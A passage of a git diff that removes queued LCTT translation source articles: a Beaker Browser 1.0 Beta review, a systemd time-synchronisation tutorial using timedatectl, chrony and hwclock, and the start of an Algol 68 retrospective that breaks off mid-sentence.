(free PDF)][21] - -You can download the cheatsheet, print it and keep at your desk. It will help you in remembering and mastering the shortcuts. - -I hope you find this beginner’s guide to Nano text editor helpful. If you liked it, please share it on Reddit, [Hacker News][22] or in various [Linux forums][23] you frequently visit. - -I welcome your questions and suggestions. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/nano-editor-guide/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://www.nano-editor.org/ -[2]: https://itsfoss.com/command-line-text-editors-linux/ -[3]: https://www.vim.org/ -[4]: https://www.gnu.org/software/emacs/ -[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-guide.png?ssl=1 -[6]: https://itsfoss.com/pro-vim-tips/ -[7]: https://itsfoss.com/how-to-exit-vim/ -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-interface.png?ssl=1 -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-modified-text.png?ssl=1 -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-jump-to-line.png?ssl=1 -[11]: https://itsfoss.com/ubuntu-shortcuts/ -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-set-mark.png?ssl=1 -[13]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-search-text.png?ssl=1 -[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-search-replace.png?ssl=1 -[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-search-replace-confirm.png?ssl=1 -[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-save-while-writing.png?ssl=1 -[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-save-and-exit.png?ssl=1 -[18]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-help-menu.png?ssl=1 -[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-editor-hints.png?ssl=1 -[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/nano-cheatsheet.png?ssl=1 -[21]: https://itsfoss.com/wp-content/uploads/2020/05/Nano-Cheat-Sheet.pdf -[22]: https://news.ycombinator.com/ -[23]: https://itsfoss.community/ diff --git a/sources/tech/20200529 Beaker Browser 1.0 Beta- One Step Forward and Two Steps Back.md b/sources/tech/20200529 Beaker Browser 1.0 Beta- One Step Forward and Two Steps Back.md deleted file mode 100644 index 3b93e61af5..0000000000 --- a/sources/tech/20200529 Beaker Browser 1.0 Beta- One Step Forward and Two Steps Back.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Beaker Browser 1.0 Beta: One Step Forward and Two Steps Back) -[#]: via: (https://itsfoss.com/beaker-browser-1-release/) -[#]: author: (John Paul https://itsfoss.com/author/john/) - -Beaker Browser 1.0 Beta: One Step Forward and Two Steps Back -====== - -I recently reviewed the [Beaker Browser][1]. About a week after that review was published, the devs [released Beaker 1.0 Beta][2]. And that changes almost everything I had observed in the previous article. - -This made me do an entire article on the new Beaker Browser.Here’s what’s been changed! - -### No more Dat, Beaker now uses Hypercore protocol - -![][3] - -One of the most significant changes to Beaker is the introduction of a new protocol. Up to now, Beaker has used the [Dat protocol][4] to distribute content. Beta 1.0 replaces Dat with [Hypercore][5]. - -One of the components is Hyperdrive [version 10][6], which was released the same days as Beaker. Hyperdrive is “a POSIX-like filesystem implementation, written in Node.js, that’s designed to be the storage layer for fast, scalable, and secure peer-to-peer applications.” - -Like BitTorrent, Hyperdrive can be used to share a large collection of files. However, unlike BitTorrent, the contents can be modified. - -![][7] - -Switching to the new protocol brings the following changes: - - * Performance is now vastly superior thanks to new data structures. - * Connection-reliability has improved thanks to a switch to a hole-punching DHT. - * A new “mounts” feature for composing multiple Hyperdrives into a single hierarchy. - - - -Since Beaker switched over to a new protocol, all previously created websites don’t work anymore. They did include a tool to convert sites from Dat to Hypercore. I tried it on a couple of one-page sites and it failed. It only created a new site that was totally empty of content. - -### New Beaker-website creating tools - -The Beaker devs introduced several new tools to make editing easier. Now when you edit or create a site, you will get a split-screen view with a code editor on the left and a preview window on the right. The preview is updated whenever you save your work. - -![Beaker Site Editing][8] - -Besides the editor you can also open a file manager to import and manage files and images. They also included a terminal application called [webterm][9]. This terminal can only interact with the contents of the site you are working on, but it is still pretty cool. webterm only comes with 10 simple commands. If you are adventurous you can write your own commands for it, using Javascript. - -You can pop out each of these tools into their own window. If you have all three open, the left-hand panel can get crowded very quickly. - -You can see more information about the release [here][2] - -### Final thoughts on the Beaker Browser 1.0 beta release - -When I saw the announcement for Beaker Browser 1.0 Beta, I was hopeful that some of the complaints I had in the review would be fixed. Unfortunately, that didn’t happen. - -My biggest problem with Beaker Browser was that it was hard to find `dat` powered content. In the previous version, there was a page with a list of about a dozen projects running on the Dat protocol, but that was it. - -If you dig around on the new version, you can find a list of people who have profiles created on Hypercore. Unfortunately, most of those pages are either blank or something someone quickly threw together. I imagine that this will change with the final version of 1.0 is released. - -![Beaker User Directory][10] - -I did enjoy the editing tools. It made it very easy to slap together a quick webpage with a couple of lines of Markdown. I did create a site, but I’m not going to leave Beaker Browser running 24/7 to seed it. There currently isn’t any other way to do it. - -What are your thoughts on the Beaker Browser? What are your thoughts on the peer-to-peer web? Please let us know in the comments below. - -If you found this article interesting, please take a minute to share it on social media, Hacker News, or [Reddit][11]. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/beaker-browser-1-release/ - -作者:[John Paul][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/john/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/beaker-browser/ -[2]: https://beakerbrowser.com/2020/05/14/beaker-1-0-beta.html -[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/05/Beaker-Browser-1-beta.png?ssl=1 -[4]: https://www.datprotocol.com/ -[5]: https://hypercore-protocol.org/ -[6]: https://blog.hypercore-protocol.org/posts/announcing-hyperdrive-10/ -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/beaker-start-page.jpg?resize=800%2C426&ssl=1 -[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/05/beaker-site-editing-800x426.jpg?resize=800%2C426&ssl=1 -[9]: https://docs.beakerbrowser.com/advanced/webterm -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/05/beaker-user-directory.jpg?resize=800%2C426&ssl=1 -[11]: https://reddit.com/r/linuxusersgroup diff --git a/sources/tech/20200602 Control your computer time and date with systemd.md b/sources/tech/20200602 Control your computer time and date with systemd.md deleted file mode 100644 index 0047f4076d..0000000000 --- a/sources/tech/20200602 Control your computer time and date with systemd.md +++ /dev/null @@ -1,356 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Control your computer time and date with systemd) -[#]: via: (https://opensource.com/article/20/6/time-date-systemd) -[#]: author: (David Both https://opensource.com/users/dboth) - -Control your computer time and date with systemd -====== -Keep your computer time in sync with NTP, Chrony, and systemd-timesyncd. -![Alarm clocks with different time][1] - -Most people are concerned with time. We get up in time to perform our morning rituals and commute to work (a short trip for many of us these days), take a break for lunch, meet a project deadline, celebrate birthdays and holidays, catch a plane, and so much more. - -Some of us are even _obsessed_ with time. My watch is solar-powered and obtains the exact time from the [National Institute of Standards and Technology][2] (NIST) in Fort Collins, Colorado, via the [WWVB][3] time signal radio station located there. The time signals are synced to the atomic clock, also located in Fort Collins. My Fitbit syncs up to my phone, which is synced to a [Network Time Protocol][4] (NTP) server, which is ultimately synced to the atomic clock. - -### Why time is important to computers - -There are many reasons our devices and computers need the exact time. For example, in banking, stock markets, and other financial businesses, transactions must be maintained in the proper order, and exact time sequences are critical for that. - -Our phones, tablets, cars, GPS systems, and computers all require precise time and date settings. I want the clock on my computer desktop to be correct, so I can count on my local calendar application to pop up reminders at the correct time. The correct time also ensures SystemV cron jobs and systemd timers trigger at the correct time. - -The correct time is also important for logging, so it is a bit easier to locate specific log entries based on the time. For one example, I once worked in DevOps (it was not called that at the time) for the State of North Carolina email system. We used to process more than 20 million emails per day. Following the trail of email through a series of servers or determining the exact sequence of events by using log files on geographically dispersed hosts can be much easier when the computers in question keep exact times. - -### Multiple times - -Linux hosts have two times to consider: system time and RTC time. RTC stands for real-time clock, which is a fancy and not particularly accurate name for the system hardware clock. - -The hardware clock runs continuously, even when the computer is turned off, by using a battery on the system motherboard. The RTC's primary function is to keep the time when a connection to a time server is not available. In the dark ages of personal computers, there was no internet to connect to a time server, so the only time a computer had available was the internal clock. Operating systems had to rely on the RTC at boot time, and the user had to manually set the system time using the hardware BIOS configuration interface to ensure it was correct. - -The hardware clock does not understand the concept of time zones; only the time is stored in the RTC, not the time zone nor an offset from UTC (Universal Coordinated Time, which is also known as GMT, or Greenwich Mean Time). You can set the RTC with a tool I will explore later in this article. - -The system time is the time known by the operating system. It is the time you see on the GUI clock on your desktop, in the output from the `date` command, in timestamps for logs, and in file access, modify, and change times. - -The [`rtc` man page][5] contains a more complete discussion of the RTC and system clocks and RTC's functionality. - -### What about NTP? - -Computers worldwide use the NTP (Network Time Protocol) to synchronize their time with internet standard reference clocks through a hierarchy of NTP servers. The primary time servers are at stratum 1, and they are connected directly to various national time services at stratum 0 via satellite, radio, or even modems over phone lines. The time services at stratum 0 may be an atomic clock, a radio receiver that is tuned to the signals broadcast by an atomic clock, or a GPS receiver using the highly accurate clock signals broadcast by GPS satellites. - -To prevent time requests from time servers or clients lower in the hierarchy (i.e., with a higher stratum number) from overwhelming the primary reference servers, several thousand public NTP stratum 2 servers are open and available for all to use. Many organizations and users (including me) with large numbers of hosts that need an NTP server choose to set up their own time servers, so only one local host accesses the stratum 2 or 3 time servers. Then they configure the remaining hosts in the network to use the local time server. In the case of my home network, that is a stratum 3 server. - -### NTP implementation options - -The original NTP implementation is **ntpd**, and it has been joined by two newer ones, **chronyd** and **systemd-timesyncd**. All three keep the local host's time synchronized with an NTP time server. The systemd-timesyncd service is not as robust as chronyd, but it is sufficient for most purposes. It can perform large time jumps if the RTC is far out of sync, and it can adjust the system time gradually to stay in sync with the NTP server if the local system time drifts a bit. The systemd-timesync service cannot be used as a time server. - -[Chrony][6] is an NTP implementation containing two programs: the chronyd daemon and a command-line interface called chronyc. As I explained in a [previous article][7], Chrony has some features that make it the best choice for many environments, chiefly: - - * Chrony can synchronize to the time server much faster than the old ntpd service. This is good for laptops or desktops that do not run constantly. - * It can compensate for fluctuating clock frequencies, such as when a host hibernates or enters sleep mode, or when the clock speed varies due to frequency stepping that slows clock speeds when loads are low. - * It handles intermittent network connections and bandwidth saturation. - * It adjusts for network delays and latency. - * After the initial time sync, Chrony never stops the clock. This ensures stable and consistent time intervals for many system services and applications. - * Chrony can work even without a network connection. In this case, the local host or server can be updated manually. - * Chrony can act as an NTP server. - - - -Just to be clear, NTP is a protocol that is implemented on a Linux host using either Chrony or the systemd-timesyncd.service. - -The NTP, Chrony, and systemd-timesyncd RPM packages are available in standard Fedora repositories. The systemd-udev RPM is a rule-based device node and kernel event manager that is installed by default with Fedora but not enabled. - -You can install all three and switch between them, but that is a pain and not worth the trouble. Modern releases of Fedora, CentOS, and RHEL have moved from NTP to Chrony as their default timekeeping implementation, and they also install systemd-timesyncd. I find that Chrony works well, provides a better interface than the NTP service, presents much more information, and increases control, which are all advantages for the sysadmin. - -### Disable other NTP services - -It's possible an NTP service is already running on your host. If so, you need to disable it before switching to something else. I have been using chronyd, so I used the following commands to stop and disable it. Run the appropriate commands for whatever NTP daemon you are using on your host: - - -``` -[root@testvm1 ~]# systemctl disable chronyd ; systemctl stop chronyd -Removed /etc/systemd/system/multi-user.target.wants/chronyd.service. -[root@testvm1 ~]# -``` - -Verify that it is both stopped and disabled: - - -``` -[root@testvm1 ~]# systemctl status chronyd -● chronyd.service - NTP client/server -     Loaded: loaded (/usr/lib/systemd/system/chronyd.service; disabled; vendor preset: enabled) -     Active: inactive (dead) -       Docs: man:chronyd(8) -             man:chrony.conf(5) -[root@testvm1 ~]# -``` - -### Check the status before starting - -The systemd timesync's status indicates whether systemd has initiated an NTP service. Because you have not yet started systemd NTP, the `timesync-status` command returns no data: - - -``` -[root@testvm1 ~]# timedatectl timesync-status -Failed to query server: Could not activate remote peer. -``` - -But a straight `status` request provides some important information. For example, the `timedatectl` command without an argument or options implies the `status` subcommand as default: - - -``` -[root@testvm1 ~]# timedatectl status -           Local time: Fri 2020-05-15 08:43:10 EDT   -           Universal time: Fri 2020-05-15 12:43:10 UTC   -                 RTC time: Fri 2020-05-15 08:43:08       -                Time zone: America/New_York (EDT, -0400) -System clock synchronized: no                           -              NTP service: inactive                     -          RTC in local TZ: yes                     - -Warning: The system is configured to read the RTC time in the local time zone. -         This mode cannot be fully supported. It will create various problems -         with time zone changes and daylight saving time adjustments. The RTC -         time is never updated, it relies on external facilities to maintain it. -         If at all possible, use RTC in UTC by calling -         'timedatectl set-local-rtc 0'. -[root@testvm1 ~]# -``` - -This returns the local time for your host, the UTC time, and the RTC time. It shows that the system time is set to the `America/New_York` time zone (`TZ`), the RTC is set to the time in the local time zone, and the NTP service is not active. The RTC time has started to drift a bit from the system time. This is normal with systems whose clocks have not been synchronized. The amount of drift on a host depends upon the amount of time since the system was last synced and the speed of the drift per unit of time. - -There is also a warning message about using local time for the RTC—this relates to time-zone changes and daylight saving time adjustments. If the computer is off when changes need to be made, the RTC time will not change. This is not an issue in servers or other hosts that are powered on 24/7. Also, any service that provides NTP time synchronization will ensure the host is set to the proper time early in the startup process, so it will be correct before it is fully up and running. - -### Set the time zone - -Usually, you set a computer's time zone during the installation procedure and never need to change it. However, there are times it is necessary to change the time zone, and there are a couple of tools to help. Linux uses time-zone files to define the local time zone in use by the host. These binary files are located in the `/usr/share/zoneinfo` directory. The default for my time zone is defined by the link `/etc/localtime -> ../usr/share/zoneinfo/America/New_York`. But you don't need to know that to change the time zone. - -But you do need to know the official time-zone name for your location. Say you want to change the time zone to Los Angeles: - - -``` -[root@testvm2 ~]# timedatectl list-timezones | column -<SNIP> -America/La_Paz                  Europe/Budapest -America/Lima                    Europe/Chisinau -America/Los_Angeles             Europe/Copenhagen -America/Maceio                  Europe/Dublin -America/Managua                 Europe/Gibraltar -America/Manaus                  Europe/Helsinki -<SNIP> -``` - -Now you can set the time zone. I used the `date` command to verify the change, but you could also use `timedatectl`: - - -``` -[root@testvm2 ~]# date -Tue 19 May 2020 04:47:49 PM EDT -[root@testvm2 ~]# timedatectl set-timezone America/Los_Angeles -[root@testvm2 ~]# date -Tue 19 May 2020 01:48:23 PM PDT -[root@testvm2 ~]# -``` - -You can now change your host's time zone back to your local one. - -### systemd-timesyncd - -The systemd timesync daemon provides an NTP implementation that is easy to manage within a systemd context. It is installed by default in Fedora and Ubuntu and started by default in Ubuntu but not in Fedora. I am unsure about other distros; you can check yours with: - - -``` -`[root@testvm1 ~]# systemctl status systemd-timesyncd` -``` - -### Configure systemd-timesyncd - -The configuration file for systemd-timesyncd is `/etc/systemd/timesyncd.conf`. It is a simple file with fewer options included than the older NTP service and chronyd. Here are the complete contents of the default version of this file on my Fedora VM: - - -``` -#  This file is part of systemd. -# -#  systemd is free software; you can redistribute it and/or modify it -#  under the terms of the GNU Lesser General Public License as published by -#  the Free Software Foundation; either version 2.1 of the License, or -#  (at your option) any later version. -# -# Entries in this file show the compile time defaults. -# You can change settings by editing this file. -# Defaults can be restored by simply deleting this file. -# -# See timesyncd.conf(5) for details. - -[Time] -#NTP= -#FallbackNTP=0.fedora.pool.ntp.org 1.fedora.pool.ntp.org 2.fedora.pool.ntp.org 3.fedora.pool.ntp.org -#RootDistanceMaxSec=5 -#PollIntervalMinSec=32 -#PollIntervalMaxSec=2048 -``` - -The only section it contains besides comments is `[Time]`, and all the lines are commented out. These are the default values and do not need to be changed or uncommented (unless you have some reason to do so). If you do not have a specific NTP time server defined in the `NTP=` line, Fedora's default is to fall back on the Fedora pool of time servers. I like to add the time server on my network to this line: - - -``` -`NTP=myntpserver` -``` - -### Start timesync - -Starting and enabling systemd-timesyncd is just like any other service: - - -``` -[root@testvm2 ~]# systemctl enable systemd-timesyncd.service -Created symlink /etc/systemd/system/dbus-org.freedesktop.timesync1.service → /usr/lib/systemd/system/systemd-timesyncd.service. -Created symlink /etc/systemd/system/sysinit.target.wants/systemd-timesyncd.service → /usr/lib/systemd/system/systemd-timesyncd.service. -[root@testvm2 ~]# systemctl start systemd-timesyncd.service -[root@testvm2 ~]# -``` - -### Set the hardware clock - -Here's what one of my systems looked like after starting timesyncd: - - -``` -[root@testvm2 systemd]# timedatectl -               Local time: Sat 2020-05-16 14:34:54 EDT   -           Universal time: Sat 2020-05-16 18:34:54 UTC   -                 RTC time: Sat 2020-05-16 14:34:53       -                Time zone: America/New_York (EDT, -0400) -System clock synchronized: yes                           -              NTP service: active                       -          RTC in local TZ: no     -``` - -The RTC time is around a second off from local time (EDT), and the discrepancy grows by a couple more seconds over the next few days. Because RTC does not have the concept of time zones, the `timedatectl` command must do a comparison to determine which time zone is a match. If the RTC time does not match local time exactly, it is not considered to be in the local time zone. - -In search of a bit more information, I checked the status of systemd-timesync.service and found: - - -``` -[root@testvm2 systemd]# systemctl status systemd-timesyncd.service -● systemd-timesyncd.service - Network Time Synchronization -     Loaded: loaded (/usr/lib/systemd/system/systemd-timesyncd.service; enabled; vendor preset: disabled) -     Active: active (running) since Sat 2020-05-16 13:56:53 EDT; 18h ago -       Docs: man:systemd-timesyncd.service(8) -   Main PID: 822 (systemd-timesyn) -     Status: "Initial synchronization to time server 163.237.218.19:123 (2.fedora.pool.ntp.org)." -      Tasks: 2 (limit: 10365) -     Memory: 2.8M -        CPU: 476ms -     CGroup: /system.slice/systemd-timesyncd.service -             └─822 /usr/lib/systemd/systemd-timesyncd - -May 16 09:57:24 testvm2.both.org systemd[1]: Starting Network Time Synchronization... -May 16 09:57:24 testvm2.both.org systemd-timesyncd[822]: System clock time unset or jumped backwards, restoring from recorded timestamp: Sat 2020-05-16 13:56:53 EDT -May 16 13:56:53 testvm2.both.org systemd[1]: Started Network Time Synchronization. -May 16 13:57:56 testvm2.both.org systemd-timesyncd[822]: Initial synchronization to time server 163.237.218.19:123 (2.fedora.pool.ntp.org). -[root@testvm2 systemd]# -``` - -Notice the log message that says the system clock time was unset or jumped backward. The timesync service sets the system time from a timestamp. Timestamps are maintained by the timesync daemon and are created at each successful time synchronization. - -The `timedatectl` command does not have the ability to set the value of the hardware clock from the system clock; it can only set the time and date from a value entered on the command line. However, you can set the RTC to the same value as the system time by using the `hwclock` command: - - -``` -[root@testvm2 ~]# /sbin/hwclock --systohc --localtime -[root@testvm2 ~]# timedatectl -               Local time: Mon 2020-05-18 13:56:46 EDT   -           Universal time: Mon 2020-05-18 17:56:46 UTC   -                 RTC time: Mon 2020-05-18 13:56:46       -                Time zone: America/New_York (EDT, -0400) -System clock synchronized: yes                           -              NTP service: active                       -          RTC in local TZ: yes -``` - -The `--localtime` option ensures that the hardware clock is set to local time, not UTC. - -### Do you really need RTC? - -Any NTP implementation will set the system clock during the startup sequence, so is RTC necessary? Not really, so long as you have a network connection to a time server. However, many systems do not have full-time access to a network connection, so the hardware clock is useful so that Linux can read it and set the system time. This is a better solution than having to set the time by hand, even if it might drift away from the actual time. - -### Summary - -This article explored the use of some systemd tools for managing date, time, and time zones. The systemd-timesyncd tool provides a decent NTP client that can keep time on a local host synchronized with an NTP server. However, systemd-timesyncd does not provide a server service, so if you need an NTP server on your network, you must use something else, such as Chrony, to act as a server. - -I prefer to have a single implementation for any service in my network, so I use Chrony. If you do not need a local NTP server, or if you do not mind dealing with Chrony for the server and systemd-timesyncd for the client and you do not need Chrony's additional capabilities, then systemd-timesyncd is a serviceable choice for an NTP client. - -There is another point I want to make: You do not have to use systemd tools for NTP implementation. You can use the old ntpd or Chrony or some other NTP implementation. systemd is composed of a large number of services; many of them are optional, so they can be disabled and something else used in its place. It is not the huge, monolithic monster that some make it out to be. It is OK to not like systemd or parts of it, but you should make an informed decision. - -I don't dislike systemd's implementation of NTP, but I much prefer Chrony because it meets my needs better. And that is what Linux is all about. - -### Resources - -There is a great deal of information about systemd available on the internet, but much is terse, obtuse, or even misleading. In addition to the resources mentioned in this article, the following webpages offer more detailed and reliable information about systemd startup. - - * The Fedora Project has a good, practical [guide to systemd][8]. It has pretty much everything you need to know in order to configure, manage, and maintain a Fedora computer using systemd. - * The Fedora Project also has a good [cheat sheet][9] that cross-references the old SystemV commands to comparable systemd ones. - * For detailed technical information about systemd and the reasons for creating it, check out [Freedesktop.org][10]'s [description of systemd][11]. - * [Linux.com][12]'s "More systemd fun" offers more advanced systemd [information and tips][13]. - - - -There is also a series of deeply technical articles for Linux sysadmins by Lennart Poettering, the designer and primary developer of systemd. These articles were written between April 2010 and September 2011, but they are just as relevant now as they were then. Much of everything else good that has been written about systemd and its ecosystem is based on these papers. - - * [Rethinking PID 1][14] - * [systemd for Administrators, Part I][15] - * [systemd for Administrators, Part II][16] - * [systemd for Administrators, Part III][17] - * [systemd for Administrators, Part IV][18] - * [systemd for Administrators, Part V][19] - * [systemd for Administrators, Part VI][20] - * [systemd for Administrators, Part VII][21] - * [systemd for Administrators, Part VIII][22] - * [systemd for Administrators, Part IX][23] - * [systemd for Administrators, Part X][24] - * [systemd for Administrators, Part XI][25] - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/6/time-date-systemd - -作者:[David Both][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dboth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/clocks_time.png?itok=_ID09GDk (Alarm clocks with different time) -[2]: https://en.wikipedia.org/wiki/National_Institute_of_Standards_and_Technology -[3]: https://en.wikipedia.org/wiki/WWVB -[4]: https://en.wikipedia.org/wiki/Network_Time_Protocol -[5]: https://linux.die.net/man/4/rtc -[6]: https://chrony.tuxfamily.org/ -[7]: https://opensource.com/article/18/12/manage-ntp-chrony -[8]: https://docs.fedoraproject.org/en-US/quick-docs/understanding-and-administering-systemd/index.html -[9]: https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet -[10]: http://Freedesktop.org -[11]: http://www.freedesktop.org/wiki/Software/systemd -[12]: http://Linux.com -[13]: https://www.linux.com/training-tutorials/more-systemd-fun-blame-game-and-stopping-services-prejudice/ -[14]: http://0pointer.de/blog/projects/systemd.html -[15]: http://0pointer.de/blog/projects/systemd-for-admins-1.html -[16]: http://0pointer.de/blog/projects/systemd-for-admins-2.html -[17]: http://0pointer.de/blog/projects/systemd-for-admins-3.html -[18]: http://0pointer.de/blog/projects/systemd-for-admins-4.html -[19]: http://0pointer.de/blog/projects/three-levels-of-off.html -[20]: http://0pointer.de/blog/projects/changing-roots -[21]: http://0pointer.de/blog/projects/blame-game.html -[22]: http://0pointer.de/blog/projects/the-new-configuration-files.html -[23]: http://0pointer.de/blog/projects/on-etc-sysinit.html -[24]: http://0pointer.de/blog/projects/instances.html -[25]: http://0pointer.de/blog/projects/inetd.html diff --git a/sources/tech/20200603 Exploring Algol 68 in the 21st century.md b/sources/tech/20200603 Exploring Algol 68 in the 21st century.md deleted file mode 100644 index 6e5dc9d585..0000000000 --- a/sources/tech/20200603 Exploring Algol 68 in the 21st century.md +++ /dev/null @@ -1,381 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Exploring Algol 68 in the 21st century) -[#]: via: (https://opensource.com/article/20/6/algol68) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -Exploring Algol 68 in the 21st century -====== -An in-depth look at a forgotten language and its modern applications. -![Old UNIX computer][1] - -In the preface to his excellent textbook _Algol 68: A First and Second Course_, Andrew McGettrick writes: - -> "This book originated from lectures first given at the University of Strathclyde in 1973-4 to first-year undergraduates, many of whom had no previous knowledge of programming. Many of the students were not taking computer science as their main subject but merely as a subsidiary subject. They, therefore, served as a suitable audience on whom to inflict lectures attempting to teach Algol 68 as a first programming language." - -Perhaps this quote carries particular weight for me as I, too, was a first-year student in 1973-1974, though at a different institution—the University of British Columbia. Moreover, "back in those days," the introductory computer science course at UBC was taught in the second year using Waterloo FORTRAN with a bit of IBM 360 Assembler thrown in; nothing so exotic as Algol 68. In my case, I didn't encounter Algol 68 until my third year. Maybe this wait, along with experiences in other programming languages, contributed to my lifelong fascination with this underrated and wonderful programming language. And thanks to Marcel van der Veer, who has created [a very fine implementation of Algol 68][2] called Algol 68 Genie, that is now in my distro's repositories, at long last, I've been able to explore Algol 68 at my leisure. I should also mention that Marcel's book, [_Learning Algol 68 Genie_][3], is of great utility both for newcomers and as a refresher course in Algol 68. - -Because I've been having so much fun rediscovering Algol 68, I thought I'd share some of my thoughts and impressions. - -### What people say about Algol 68 - -If it's worth reading [the overview of Algol 68 on Wikipedia][4], then it's really worth reading this paragraph from the [_Revised Report on the Algorithmic Language Algol 68_][5]: - -> "The original authors acknowledged with pleasure and thanks the wholehearted cooperation, support, interest, criticism, and violent objections from members of WG 2.1 and many other people interested in Algol." - -"Criticism and violent objections"—wow! In fact, some committee members were so unhappy with the direction the committee was taking that they left and started their own language definition projects, at least partly as a protest against Algol 68. Niklaus Wirth, for example, fed up with the complexity of Algol 68, [went off to design Pascal][6]. And having written and supported a fair bit of Pascal code from about 1984 through 2000 or so, I am here to tell you that Pascal is about as far from Algol 68 as it's possible to get. Which, it seems to me, was Wirth's point. - -Dennis Ritchie [gave a talk][7] at the second ACM History of Programming Languages conference in Cambridge, Massachusetts in 1993, in which he compares Bliss, Pascal, Algol 68, and C. In that talk, he made several interesting observations: - - * All of the four languages are "based on this old, old model of machines that pick up things, do operations, and put them someplace else" and "are very much influenced by Algol 60 and FORTRAN." - * "When Steve Bourne (yes, the person who created the Bourne shell) came to Bell Labs with the Algol 68C compiler, he made it do the same things that C could do; it had Unix system call interfaces and so forth." - * "I think the language really did suffer from its definition in terms of acceptance. Nevertheless, it was really quite practical." - * "In some ways, Algol 68 is the most elegant of the languages I've been discussing. I think in some ways, it's even the most influential, although as a language in itself, it has nearly gone away." - - - -There is much more opinion on Algol 68 still prominent on the Internet today. A lot of it is negative, but oh well! I suspect a great deal of it is not informed by actual use. One very interesting place to find coders just getting down to using the language (and many others, some marvelously obscure) is on [the Rosetta Code Wiki][8]. Go there and form your own opinion! Or follow me as I review what strikes me as great and not so great about Algol 68. - -### What seems important and relevant to me about Algol 68 - -Algol 68, as a programming language, offers some distinctive and useful ideas that were innovative at the time and have shown up, to some degree or the other, in other languages since then. - -#### Key design principles clearly explained in the Revised Report - -The committee that designed Algol 68 was driven by a very clear set of principles: - - * Completeness and clarity of description (aided by the use of two-level grammar, which provoked many negative opinions) - * Orthogonal design; that is, basic concepts defined in the language can be used anywhere that usage can be said to "make sense." As an example—every expression that can reasonably be expected to yield a value does, in fact, yield a value. - * Security by way of careful syntactical design (that two-level grammar again); most errors thought to be related to semantic concepts in other languages can be detected at compile time. - * Efficiency, in that programs should run efficiently (on the hardware of the day) without requiring significant efforts to optimize the generated code, and furthermore: - * No run time-type checking except in the unique case of types that present alternative configurations at run time (`united` types in Algol 68, similar to `union` types in C) - * Type-independent parsing (again, the two-level grammar at work here) and certainty that, in a finite number of steps, any input sequence can be evaluated as to whether it is a program or not - * Loop structures that encourage the use of well-known loop optimization strategies of the day - * A symbol set (with alternatives) that worked on the various different character sets available on computers at the time - - - -I find it instructive to see the emphasis on very strong static typing (50 years ago!!) and the benefits that were expected to accrue, in contrast to today's universe of dynamically-typed languages and languages with weak static typing that have helped spawn an entire industry of run-time testing. (OK maybe that's not completely fair, but it contains a certain element of truth). - -#### Structures to group statements together without extra grouping constructs - -In programs written in Algol 60 and Pascal, we see a lot of `begin` and `end` tokens; in C, C++, Java, and so forth, we see a lot of `{` and `}`. For example, the simple expression to calculate the absolute value `av` of an integer value `iv` can be written in either Algol 60 or Pascal as: - - -``` -`if iv < 0 then av := -iv else av := iv` -``` - -If we wanted to set a Boolean value stating whether `iv` was negative, then we need to start inserting `begin` and `end`: - - -``` -`if iv < 0 then begin av := -iv; negative := true end else begin av := iv; negative := false end` -``` - -Formally, Algol 68 uses boldface for tokens with special meaning like **if** or **then**, and uses italics for names of things like the _print_() procedure.  This wasn't practical back in the day when many still used keypunches for coding, and it would still be a bit weird today.  So Algol 68 implementations usually provided some method of marking special symbols (called _stropping_), leaving everything else unmarked.  By default, Algol 68 Genie uses upper case stropping, so symbols like **if** are coded as IF, and names of things can only be in lower case.  Worth noting however is that it's completely ok to have a variable named "if" should that suit the purpose at hand. Anway... in case any reader is inclined to copy / paste, I'm using the Genie convention in my code samples. - -Moreover, Algol 68 has a closed syntax, which the Bourne shell and 